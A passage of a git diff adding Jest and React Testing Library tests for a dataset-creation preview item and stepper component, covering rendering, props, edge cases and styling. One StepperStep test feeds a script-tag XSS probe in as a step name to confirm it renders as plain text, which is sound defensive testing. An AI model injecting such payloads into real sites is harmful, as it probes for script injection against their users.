+        return <PreviewItem {...trackedProps} />
+      }
+      const MemoizedTracked = React.memo(TrackedPreviewItem)
+
+      // Act
+      const { rerender } = render(<MemoizedTracked {...props} />)
+      rerender(<MemoizedTracked {...props} />)
+
+      // Assert - Should only render once due to same props
+      expect(renderSpy).toHaveBeenCalledTimes(1)
+    })
+
+    it('should re-render when content changes', () => {
+      // Arrange
+      const props = createDefaultProps({ content: 'Initial content' })
+
+      // Act
+      const { rerender } = render(<PreviewItem {...props} />)
+      expect(screen.getByText('Initial content')).toBeInTheDocument()
+
+      rerender(<PreviewItem {...props} content="Updated content" />)
+
+      // Assert
+      expect(screen.getByText('Updated content')).toBeInTheDocument()
+    })
+
+    it('should re-render when index changes', () => {
+      // Arrange
+      const props = createDefaultProps({ index: 1 })
+
+      // Act
+      const { rerender } = render(<PreviewItem {...props} />)
+      expect(screen.getByText('001')).toBeInTheDocument()
+
+      rerender(<PreviewItem {...props} index={99} />)
+
+      // Assert
+      expect(screen.getByText('099')).toBeInTheDocument()
+    })
+
+    it('should re-render when type changes', () => {
+      // Arrange
+      const props = createDefaultProps({ type: PreviewType.TEXT, content: 'Text content' })
+
+      // Act
+      const { rerender } = render(<PreviewItem {...props} />)
+      expect(screen.getByText('Text content')).toBeInTheDocument()
+      expect(screen.queryByText('Q')).not.toBeInTheDocument()
+
+      rerender(<PreviewItem type={PreviewType.QA} index={1} qa={{ question: 'Q1', answer: 'A1' }} />)
+
+      // Assert
+      expect(screen.getByText('Q')).toBeInTheDocument()
+      expect(screen.getByText('A')).toBeInTheDocument()
+    })
+
+    it('should re-render when qa prop changes', () => {
+      // Arrange
+      const props = createQAProps({
+        qa: { question: 'Original question', answer: 'Original answer' },
+      })
+
+      // Act
+      const { rerender } = render(<PreviewItem {...props} />)
+      expect(screen.getByText('Original question')).toBeInTheDocument()
+
+      rerender(<PreviewItem {...props} qa={{ question: 'New question', answer: 'New answer' }} />)
+
+      // Assert
+      expect(screen.getByText('New question')).toBeInTheDocument()
+      expect(screen.getByText('New answer')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases - Test boundary conditions and error handling
+  // ==========================================
+  describe('Edge Cases', () => {
+    describe('Empty/Undefined values', () => {
+      it('should handle undefined content gracefully', () => {
+        // Arrange
+        const props = createDefaultProps({ content: undefined })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert - Should show 0 characters (use more specific text match)
+        expect(screen.getByText(/^0 datasetCreation/)).toBeInTheDocument()
+      })
+
+      it('should handle empty string content', () => {
+        // Arrange
+        const props = createDefaultProps({ content: '' })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert - Should show 0 characters (use more specific text match)
+        expect(screen.getByText(/^0 datasetCreation/)).toBeInTheDocument()
+      })
+
+      it('should handle undefined qa gracefully', () => {
+        // Arrange
+        const props: IPreviewItemProps = {
+          type: PreviewType.QA,
+          index: 1,
+          qa: undefined,
+        }
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert - Should render Q and A labels but with empty content
+        expect(screen.getByText('Q')).toBeInTheDocument()
+        expect(screen.getByText('A')).toBeInTheDocument()
+        // Character count should be 0 (use more specific text match)
+        expect(screen.getByText(/^0 datasetCreation/)).toBeInTheDocument()
+      })
+
+      it('should handle undefined question in qa', () => {
+        // Arrange
+        const props: IPreviewItemProps = {
+          type: PreviewType.QA,
+          index: 1,
+          qa: {
+            question: undefined as unknown as string,
+            answer: 'Only answer',
+          },
+        }
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('Only answer')).toBeInTheDocument()
+      })
+
+      it('should handle undefined answer in qa', () => {
+        // Arrange
+        const props: IPreviewItemProps = {
+          type: PreviewType.QA,
+          index: 1,
+          qa: {
+            question: 'Only question',
+            answer: undefined as unknown as string,
+          },
+        }
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('Only question')).toBeInTheDocument()
+      })
+
+      it('should handle empty question and answer strings', () => {
+        // Arrange
+        const props = createQAProps({
+          qa: { question: '', answer: '' },
+        })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert - Should show 0 characters (use more specific text match)
+        expect(screen.getByText(/^0 datasetCreation/)).toBeInTheDocument()
+        expect(screen.getByText('Q')).toBeInTheDocument()
+        expect(screen.getByText('A')).toBeInTheDocument()
+      })
+    })
+
+    describe('Character count calculation', () => {
+      it('should calculate correct character count for TEXT type', () => {
+        // Arrange - 'Test' has 4 characters
+        const props = createDefaultProps({ content: 'Test' })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText(/4/)).toBeInTheDocument()
+      })
+
+      it('should calculate correct character count for QA type (question + answer)', () => {
+        // Arrange - 'ABC' (3) + 'DEFGH' (5) = 8 characters
+        const props = createQAProps({
+          qa: { question: 'ABC', answer: 'DEFGH' },
+        })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText(/8/)).toBeInTheDocument()
+      })
+
+      it('should count special characters correctly', () => {
+        // Arrange - Content with special characters
+        const props = createDefaultProps({ content: '你好世界' }) // 4 Chinese characters
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText(/4/)).toBeInTheDocument()
+      })
+
+      it('should count newlines in character count', () => {
+        // Arrange - 'a\nb' has 3 characters
+        const props = createDefaultProps({ content: 'a\nb' })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText(/3/)).toBeInTheDocument()
+      })
+
+      it('should count spaces in character count', () => {
+        // Arrange - 'a b' has 3 characters
+        const props = createDefaultProps({ content: 'a b' })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText(/3/)).toBeInTheDocument()
+      })
+    })
+
+    describe('Boundary conditions', () => {
+      it('should handle very long content', () => {
+        // Arrange
+        const longContent = 'A'.repeat(10000)
+        const props = createDefaultProps({ content: longContent })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert - Should show correct character count
+        expect(screen.getByText(/10000/)).toBeInTheDocument()
+      })
+
+      it('should handle very long index', () => {
+        // Arrange
+        const props = createDefaultProps({ index: 999999999 })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('999999999')).toBeInTheDocument()
+      })
+
+      it('should handle negative index', () => {
+        // Arrange
+        const props = createDefaultProps({ index: -1 })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert - padStart pads from the start, so -1 becomes 0-1
+        expect(screen.getByText('0-1')).toBeInTheDocument()
+      })
+
+      it('should handle content with only whitespace', () => {
+        // Arrange
+        const props = createDefaultProps({ content: '   ' }) // 3 spaces
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText(/3/)).toBeInTheDocument()
+      })
+
+      it('should handle content with HTML-like characters', () => {
+        // Arrange
+        const props = createDefaultProps({ content: '<div>Test</div>' })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert - Should render as text, not HTML
+        expect(screen.getByText('<div>Test</div>')).toBeInTheDocument()
+      })
+
+      it('should handle content with emojis', () => {
+        // Arrange - Emojis can have complex character lengths
+        const props = createDefaultProps({ content: '😀👍' })
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert - Emoji length depends on JS string length
+        expect(screen.getByText('😀👍')).toBeInTheDocument()
+      })
+    })
+
+    describe('Type edge cases', () => {
+      it('should ignore qa prop when type is TEXT', () => {
+        // Arrange - Both content and qa provided, but type is TEXT
+        const props: IPreviewItemProps = {
+          type: PreviewType.TEXT,
+          index: 1,
+          content: 'Text content',
+          qa: { question: 'Should not show', answer: 'Also should not show' },
+        }
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.getByText('Text content')).toBeInTheDocument()
+        expect(screen.queryByText('Should not show')).not.toBeInTheDocument()
+        expect(screen.queryByText('Also should not show')).not.toBeInTheDocument()
+      })
+
+      it('should use content length for TEXT type even when qa is provided', () => {
+        // Arrange
+        const props: IPreviewItemProps = {
+          type: PreviewType.TEXT,
+          index: 1,
+          content: 'Hi', // 2 characters
+          qa: { question: 'Question', answer: 'Answer' }, // Would be 14 characters if used
+        }
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert - Should show 2, not 14
+        expect(screen.getByText(/2/)).toBeInTheDocument()
+      })
+
+      it('should ignore content prop when type is QA', () => {
+        // Arrange
+        const props: IPreviewItemProps = {
+          type: PreviewType.QA,
+          index: 1,
+          content: 'Should not display',
+          qa: { question: 'Q text', answer: 'A text' },
+        }
+
+        // Act
+        render(<PreviewItem {...props} />)
+
+        // Assert
+        expect(screen.queryByText('Should not display')).not.toBeInTheDocument()
+        expect(screen.getByText('Q text')).toBeInTheDocument()
+        expect(screen.getByText('A text')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // PreviewType Enum - Test exported enum values
+  // ==========================================
+  describe('PreviewType Enum', () => {
+    it('should have TEXT value as "text"', () => {
+      expect(PreviewType.TEXT).toBe('text')
+    })
+
+    it('should have QA value as "QA"', () => {
+      expect(PreviewType.QA).toBe('QA')
+    })
+  })
+
+  // ==========================================
+  // Styling Tests - Verify correct CSS classes applied
+  // ==========================================
+  describe('Styling', () => {
+    it('should have rounded container with gray background', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<PreviewItem {...props} />)
+
+      // Assert
+      const rootDiv = container.firstChild as HTMLElement
+      expect(rootDiv).toHaveClass('rounded-xl', 'bg-gray-50', 'p-4')
+    })
+
+    it('should have proper header styling', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<PreviewItem {...props} />)
+
+      // Assert - Check header div styling
+      const headerDiv = container.querySelector('.flex.h-5.items-center.justify-between')
+      expect(headerDiv).toBeInTheDocument()
+    })
+
+    it('should have index badge styling', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<PreviewItem {...props} />)
+
+      // Assert
+      const indexBadge = container.querySelector('.border.border-gray-200')
+      expect(indexBadge).toBeInTheDocument()
+      expect(indexBadge).toHaveClass('rounded-md', 'italic', 'font-medium')
+    })
+
+    it('should have content area with line-clamp', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<PreviewItem {...props} />)
+
+      // Assert
+      const contentArea = container.querySelector('.line-clamp-6')
+      expect(contentArea).toBeInTheDocument()
+      expect(contentArea).toHaveClass('max-h-[120px]', 'overflow-hidden')
+    })
+
+    it('should have Q/A labels with gray color', () => {
+      // Arrange
+      const props = createQAProps()
+
+      // Act
+      const { container } = render(<PreviewItem {...props} />)
+
+      // Assert
+      const labels = container.querySelectorAll('.text-gray-400')
+      expect(labels.length).toBeGreaterThanOrEqual(2) // Q and A labels
+    })
+  })
+
+  // ==========================================
+  // i18n Translation - Test translation integration
+  // ==========================================
+  describe('i18n Translation', () => {
+    it('should use translation key for characters label', () => {
+      // Arrange
+      const props = createDefaultProps({ content: 'Test' })
+
+      // Act
+      render(<PreviewItem {...props} />)
+
+      // Assert - The mock returns the key as-is
+      expect(screen.getByText(/datasetCreation.stepTwo.characters/)).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/stepper/index.spec.tsx b/web/app/components/datasets/create/stepper/index.spec.tsx
new file mode 100644
index 0000000000..174c2d3472
--- /dev/null
+++ b/web/app/components/datasets/create/stepper/index.spec.tsx
@@ -0,0 +1,735 @@
+import { render, screen } from '@testing-library/react'
+import { Stepper, type StepperProps } from './index'
+import { type Step, StepperStep, type StepperStepProps } from './step'
+
+// Test data factory for creating steps
+const createStep = (overrides: Partial<Step> = {}): Step => ({
+  name: 'Test Step',
+  ...overrides,
+})
+
+const createSteps = (count: number, namePrefix = 'Step'): Step[] =>
+  Array.from({ length: count }, (_, i) => createStep({ name: `${namePrefix} ${i + 1}` }))
+
+// Helper to render Stepper with default props
+const renderStepper = (props: Partial<StepperProps> = {}) => {
+  const defaultProps: StepperProps = {
+    steps: createSteps(3),
+    activeIndex: 0,
+    ...props,
+  }
+  return render(<Stepper {...defaultProps} />)
+}
+
+// Helper to render StepperStep with default props
+const renderStepperStep = (props: Partial<StepperStepProps> = {}) => {
+  const defaultProps: StepperStepProps = {
+    name: 'Test Step',
+    index: 0,
+    activeIndex: 0,
+    ...props,
+  }
+  return render(<StepperStep {...defaultProps} />)
+}
+
+// ============================================================================
+// Stepper Component Tests
+// ============================================================================
+describe('Stepper', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests - Verify component renders properly with various inputs
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderStepper()
+
+      // Assert
+      expect(screen.getByText('Step 1')).toBeInTheDocument()
+    })
+
+    it('should render all step names', () => {
+      // Arrange
+      const steps = createSteps(3, 'Custom Step')
+
+      // Act
+      renderStepper({ steps })
+
+      // Assert
+      expect(screen.getByText('Custom Step 1')).toBeInTheDocument()
+      expect(screen.getByText('Custom Step 2')).toBeInTheDocument()
+      expect(screen.getByText('Custom Step 3')).toBeInTheDocument()
+    })
+
+    it('should render dividers between steps', () => {
+      // Arrange
+      const steps = createSteps(3)
+
+      // Act
+      const { container } = renderStepper({ steps })
+
+      // Assert - Should have 2 dividers for 3 steps
+      const dividers = container.querySelectorAll('.bg-divider-deep')
+      expect(dividers.length).toBe(2)
+    })
+
+    it('should not render divider after last step', () => {
+      // Arrange
+      const steps = createSteps(2)
+
+      // Act
+      const { container } = renderStepper({ steps })
+
+      // Assert - Should have 1 divider for 2 steps
+      const dividers = container.querySelectorAll('.bg-divider-deep')
+      expect(dividers.length).toBe(1)
+    })
+
+    it('should render with flex container layout', () => {
+      // Arrange & Act
+      const { container } = renderStepper()
+
+      // Assert
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex', 'items-center', 'gap-3')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Testing - Test all prop variations and combinations
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    describe('steps prop', () => {
+      it('should render correct number of steps', () => {
+        // Arrange
+        const steps = createSteps(5)
+
+        // Act
+        renderStepper({ steps })
+
+        // Assert
+        expect(screen.getByText('Step 1')).toBeInTheDocument()
+        expect(screen.getByText('Step 2')).toBeInTheDocument()
+        expect(screen.getByText('Step 3')).toBeInTheDocument()
+        expect(screen.getByText('Step 4')).toBeInTheDocument()
+        expect(screen.getByText('Step 5')).toBeInTheDocument()
+      })
+
+      it('should handle single step correctly', () => {
+        // Arrange
+        const steps = [createStep({ name: 'Only Step' })]
+
+        // Act
+        const { container } = renderStepper({ steps, activeIndex: 0 })
+
+        // Assert
+        expect(screen.getByText('Only Step')).toBeInTheDocument()
+        // No dividers for single step
+        const dividers = container.querySelectorAll('.bg-divider-deep')
+        expect(dividers.length).toBe(0)
+      })
+
+      it('should handle steps with long names', () => {
+        // Arrange
+        const longName = 'This is a very long step name that might overflow'
+        const steps = [createStep({ name: longName })]
+
+        // Act
+        renderStepper({ steps, activeIndex: 0 })
+
+        // Assert
+        expect(screen.getByText(longName)).toBeInTheDocument()
+      })
+
+      it('should handle steps with special characters', () => {
+        // Arrange
+        const steps = [
+          createStep({ name: 'Step & Configuration' }),
+          createStep({ name: 'Step <Preview>' }),
+          createStep({ name: 'Step "Complete"' }),
+        ]
+
+        // Act
+        renderStepper({ steps, activeIndex: 0 })
+
+        // Assert
+        expect(screen.getByText('Step & Configuration')).toBeInTheDocument()
+        expect(screen.getByText('Step <Preview>')).toBeInTheDocument()
+        expect(screen.getByText('Step "Complete"')).toBeInTheDocument()
+      })
+    })
+
+    describe('activeIndex prop', () => {
+      it('should highlight first step when activeIndex is 0', () => {
+        // Arrange & Act
+        renderStepper({ activeIndex: 0 })
+
+        // Assert - First step should show "STEP 1" label
+        expect(screen.getByText('STEP 1')).toBeInTheDocument()
+      })
+
+      it('should highlight second step when activeIndex is 1', () => {
+        // Arrange & Act
+        renderStepper({ activeIndex: 1 })
+
+        // Assert - Second step should show "STEP 2" label
+        expect(screen.getByText('STEP 2')).toBeInTheDocument()
+      })
+
+      it('should highlight last step when activeIndex equals steps length - 1', () => {
+        // Arrange
+        const steps = createSteps(3)
+
+        // Act
+        renderStepper({ steps, activeIndex: 2 })
+
+        // Assert - Third step should show "STEP 3" label
+        expect(screen.getByText('STEP 3')).toBeInTheDocument()
+      })
+
+      it('should show completed steps with number only (no STEP prefix)', () => {
+        // Arrange
+        const steps = createSteps(3)
+
+        // Act
+        renderStepper({ steps, activeIndex: 2 })
+
+        // Assert - Completed steps show just the number
+        expect(screen.getByText('1')).toBeInTheDocument()
+        expect(screen.getByText('2')).toBeInTheDocument()
+        expect(screen.getByText('STEP 3')).toBeInTheDocument()
+      })
+
+      it('should show disabled steps with number only (no STEP prefix)', () => {
+        // Arrange
+        const steps = createSteps(3)
+
+        // Act
+        renderStepper({ steps, activeIndex: 0 })
+
+        // Assert - Disabled steps show just the number
+        expect(screen.getByText('STEP 1')).toBeInTheDocument()
+        expect(screen.getByText('2')).toBeInTheDocument()
+        expect(screen.getByText('3')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases - Test boundary conditions and unexpected inputs
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle empty steps array', () => {
+      // Arrange & Act
+      const { container } = renderStepper({ steps: [] })
+
+      // Assert - Container should render but be empty
+      expect(container.firstChild).toBeInTheDocument()
+      expect(container.firstChild?.childNodes.length).toBe(0)
+    })
+
+    it('should handle activeIndex greater than steps length', () => {
+      // Arrange
+      const steps = createSteps(2)
+
+      // Act - activeIndex 5 is beyond array bounds
+      renderStepper({ steps, activeIndex: 5 })
+
+      // Assert - All steps should render as completed (since activeIndex > all indices)
+      expect(screen.getByText('1')).toBeInTheDocument()
+      expect(screen.getByText('2')).toBeInTheDocument()
+    })
+
+    it('should handle negative activeIndex', () => {
+      // Arrange
+      const steps = createSteps(2)
+
+      // Act - negative activeIndex
+      renderStepper({ steps, activeIndex: -1 })
+
+      // Assert - All steps should render as disabled (since activeIndex < all indices)
+      expect(screen.getByText('1')).toBeInTheDocument()
+      expect(screen.getByText('2')).toBeInTheDocument()
+    })
+
+    it('should handle large number of steps', () => {
+      // Arrange
+      const steps = createSteps(10)
+
+      // Act
+      const { container } = renderStepper({ steps, activeIndex: 5 })
+
+      // Assert
+      expect(screen.getByText('STEP 6')).toBeInTheDocument()
+      // Should have 9 dividers for 10 steps
+      const dividers = container.querySelectorAll('.bg-divider-deep')
+      expect(dividers.length).toBe(9)
+    })
+
+    it('should handle steps with empty name', () => {
+      // Arrange
+      const steps = [createStep({ name: '' })]
+
+      // Act
+      const { container } = renderStepper({ steps, activeIndex: 0 })
+
+      // Assert - Should still render the step structure
+      expect(screen.getByText('STEP 1')).toBeInTheDocument()
+      expect(container.firstChild).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Integration - Test step state combinations
+  // --------------------------------------------------------------------------
+  describe('Step States', () => {
+    it('should render mixed states: completed, active, disabled', () => {
+      // Arrange
+      const steps = createSteps(5)
+
+      // Act
+      renderStepper({ steps, activeIndex: 2 })
+
+      // Assert
+      // Steps 1-2 are completed (show number only)
+      expect(screen.getByText('1')).toBeInTheDocument()
+      expect(screen.getByText('2')).toBeInTheDocument()
+      // Step 3 is active (shows STEP prefix)
+      expect(screen.getByText('STEP 3')).toBeInTheDocument()
+      // Steps 4-5 are disabled (show number only)
+      expect(screen.getByText('4')).toBeInTheDocument()
+      expect(screen.getByText('5')).toBeInTheDocument()
+    })
+
+    it('should transition through all states correctly', () => {
+      // Arrange
+      const steps = createSteps(3)
+
+      // Act & Assert - Step 1 active
+      const { rerender } = render(<Stepper steps={steps} activeIndex={0} />)
+      expect(screen.getByText('STEP 1')).toBeInTheDocument()
+
+      // Step 2 active
+      rerender(<Stepper steps={steps} activeIndex={1} />)
+      expect(screen.getByText('1')).toBeInTheDocument()
+      expect(screen.getByText('STEP 2')).toBeInTheDocument()
+
+      // Step 3 active
+      rerender(<Stepper steps={steps} activeIndex={2} />)
+      expect(screen.getByText('1')).toBeInTheDocument()
+      expect(screen.getByText('2')).toBeInTheDocument()
+      expect(screen.getByText('STEP 3')).toBeInTheDocument()
+    })
+  })
+})
+
+// ============================================================================
+// StepperStep Component Tests
+// ============================================================================
+describe('StepperStep', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderStepperStep()
+
+      // Assert
+      expect(screen.getByText('Test Step')).toBeInTheDocument()
+    })
+
+    it('should render step name', () => {
+      // Arrange & Act
+      renderStepperStep({ name: 'Configure Dataset' })
+
+      // Assert
+      expect(screen.getByText('Configure Dataset')).toBeInTheDocument()
+    })
+
+    it('should render with flex container layout', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep()
+
+      // Assert
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex', 'items-center', 'gap-2')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Active State Tests
+  // --------------------------------------------------------------------------
+  describe('Active State', () => {
+    it('should show STEP prefix when active', () => {
+      // Arrange & Act
+      renderStepperStep({ index: 0, activeIndex: 0 })
+
+      // Assert
+      expect(screen.getByText('STEP 1')).toBeInTheDocument()
+    })
+
+    it('should apply active styles to label container', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep({ index: 0, activeIndex: 0 })
+
+      // Assert
+      const labelContainer = container.querySelector('.bg-state-accent-solid')
+      expect(labelContainer).toBeInTheDocument()
+      expect(labelContainer).toHaveClass('px-2')
+    })
+
+    it('should apply active text color to label', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep({ index: 0, activeIndex: 0 })
+
+      // Assert
+      const label = container.querySelector('.text-text-primary-on-surface')
+      expect(label).toBeInTheDocument()
+    })
+
+    it('should apply accent text color to name when active', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep({ index: 0, activeIndex: 0 })
+
+      // Assert
+      const nameElement = container.querySelector('.text-text-accent')
+      expect(nameElement).toBeInTheDocument()
+      expect(nameElement).toHaveClass('system-xs-semibold-uppercase')
+    })
+
+    it('should calculate active correctly for different indices', () => {
+      // Test index 1 with activeIndex 1
+      const { rerender } = render(
+        <StepperStep name="Step" index={1} activeIndex={1} />,
+      )
+      expect(screen.getByText('STEP 2')).toBeInTheDocument()
+
+      // Test index 5 with activeIndex 5
+      rerender(<StepperStep name="Step" index={5} activeIndex={5} />)
+      expect(screen.getByText('STEP 6')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Completed State Tests (index < activeIndex)
+  // --------------------------------------------------------------------------
+  describe('Completed State', () => {
+    it('should show number only when completed (not active)', () => {
+      // Arrange & Act
+      renderStepperStep({ index: 0, activeIndex: 1 })
+
+      // Assert
+      expect(screen.getByText('1')).toBeInTheDocument()
+      expect(screen.queryByText('STEP 1')).not.toBeInTheDocument()
+    })
+
+    it('should apply completed styles to label container', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep({ index: 0, activeIndex: 1 })
+
+      // Assert
+      const labelContainer = container.querySelector('.border-text-quaternary')
+      expect(labelContainer).toBeInTheDocument()
+      expect(labelContainer).toHaveClass('w-5')
+    })
+
+    it('should apply tertiary text color to label when completed', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep({ index: 0, activeIndex: 1 })
+
+      // Assert
+      const label = container.querySelector('.text-text-tertiary')
+      expect(label).toBeInTheDocument()
+    })
+
+    it('should apply tertiary text color to name when completed', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep({ index: 0, activeIndex: 2 })
+
+      // Assert
+      const nameElements = container.querySelectorAll('.text-text-tertiary')
+      expect(nameElements.length).toBeGreaterThan(0)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Disabled State Tests (index > activeIndex)
+  // --------------------------------------------------------------------------
+  describe('Disabled State', () => {
+    it('should show number only when disabled', () => {
+      // Arrange & Act
+      renderStepperStep({ index: 2, activeIndex: 0 })
+
+      // Assert
+      expect(screen.getByText('3')).toBeInTheDocument()
+      expect(screen.queryByText('STEP 3')).not.toBeInTheDocument()
+    })
+
+    it('should apply disabled styles to label container', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep({ index: 2, activeIndex: 0 })
+
+      // Assert
+      const labelContainer = container.querySelector('.border-divider-deep')
+      expect(labelContainer).toBeInTheDocument()
+      expect(labelContainer).toHaveClass('w-5')
+    })
+
+    it('should apply quaternary text color to label when disabled', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep({ index: 2, activeIndex: 0 })
+
+      // Assert
+      const label = container.querySelector('.text-text-quaternary')
+      expect(label).toBeInTheDocument()
+    })
+
+    it('should apply quaternary text color to name when disabled', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep({ index: 2, activeIndex: 0 })
+
+      // Assert
+      const nameElements = container.querySelectorAll('.text-text-quaternary')
+      expect(nameElements.length).toBeGreaterThan(0)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Testing
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    describe('name prop', () => {
+      it('should render provided name', () => {
+        // Arrange & Act
+        renderStepperStep({ name: 'Custom Name' })
+
+        // Assert
+        expect(screen.getByText('Custom Name')).toBeInTheDocument()
+      })
+
+      it('should handle empty name', () => {
+        // Arrange & Act
+        const { container } = renderStepperStep({ name: '' })
+
+        // Assert - Label should still render
+        expect(screen.getByText('STEP 1')).toBeInTheDocument()
+        expect(container.firstChild).toBeInTheDocument()
+      })
+
+      it('should handle name with whitespace', () => {
+        // Arrange & Act
+        renderStepperStep({ name: '  Padded Name  ' })
+
+        // Assert
+        expect(screen.getByText('Padded Name')).toBeInTheDocument()
+      })
+    })
+
+    describe('index prop', () => {
+      it('should display correct 1-based number for index 0', () => {
+        // Arrange & Act
+        renderStepperStep({ index: 0, activeIndex: 0 })
+
+        // Assert
+        expect(screen.getByText('STEP 1')).toBeInTheDocument()
+      })
+
+      it('should display correct 1-based number for index 9', () => {
+        // Arrange & Act
+        renderStepperStep({ index: 9, activeIndex: 9 })
+
+        // Assert
+        expect(screen.getByText('STEP 10')).toBeInTheDocument()
+      })
+
+      it('should handle large index values', () => {
+        // Arrange & Act
+        renderStepperStep({ index: 99, activeIndex: 99 })
+
+        // Assert
+        expect(screen.getByText('STEP 100')).toBeInTheDocument()
+      })
+    })
+
+    describe('activeIndex prop', () => {
+      it('should determine state based on activeIndex comparison', () => {
+        // Active: index === activeIndex
+        const { rerender } = render(
+          <StepperStep name="Step" index={1} activeIndex={1} />,
+        )
+        expect(screen.getByText('STEP 2')).toBeInTheDocument()
+
+        // Completed: index < activeIndex
+        rerender(<StepperStep name="Step" index={1} activeIndex={2} />)
+        expect(screen.getByText('2')).toBeInTheDocument()
+
+        // Disabled: index > activeIndex
+        rerender(<StepperStep name="Step" index={1} activeIndex={0} />)
+        expect(screen.getByText('2')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle zero index correctly', () => {
+      // Arrange & Act
+      renderStepperStep({ index: 0, activeIndex: 0 })
+
+      // Assert
+      expect(screen.getByText('STEP 1')).toBeInTheDocument()
+    })
+
+    it('should handle negative activeIndex', () => {
+      // Arrange & Act
+      renderStepperStep({ index: 0, activeIndex: -1 })
+
+      // Assert - Step should be disabled (index > activeIndex)
+      expect(screen.getByText('1')).toBeInTheDocument()
+    })
+
+    it('should handle equal boundary (index equals activeIndex)', () => {
+      // Arrange & Act
+      renderStepperStep({ index: 5, activeIndex: 5 })
+
+      // Assert - Should be active
+      expect(screen.getByText('STEP 6')).toBeInTheDocument()
+    })
+
+    it('should handle name with HTML-like content safely', () => {
+      // Arrange & Act
+      renderStepperStep({ name: '<script>alert("xss")</script>' })
+
+      // Assert - Should render as text, not execute
+      expect(screen.getByText('<script>alert("xss")</script>')).toBeInTheDocument()
+    })
+
+    it('should handle name with unicode characters', () => {
+      // Arrange & Act
+      renderStepperStep({ name: 'Step 数据 🚀' })
+
+      // Assert
+      expect(screen.getByText('Step 数据 🚀')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Style Classes Verification
+  // --------------------------------------------------------------------------
+  describe('Style Classes', () => {
+    it('should apply correct typography classes to label', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep()
+
+      // Assert
+      const label = container.querySelector('.system-2xs-semibold-uppercase')
+      expect(label).toBeInTheDocument()
+    })
+
+    it('should apply correct typography classes to name', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep()
+
+      // Assert
+      const name = container.querySelector('.system-xs-medium-uppercase')
+      expect(name).toBeInTheDocument()
+    })
+
+    it('should have rounded pill shape for label container', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep()
+
+      // Assert
+      const labelContainer = container.querySelector('.rounded-3xl')
+      expect(labelContainer).toBeInTheDocument()
+    })
+
+    it('should apply h-5 height to label container', () => {
+      // Arrange & Act
+      const { container } = renderStepperStep()
+
+      // Assert
+      const labelContainer = container.querySelector('.h-5')
+      expect(labelContainer).toBeInTheDocument()
+    })
+  })
+})
+
+// ============================================================================
+// Integration Tests - Stepper and StepperStep working together
+// ============================================================================
+describe('Stepper Integration', () => {
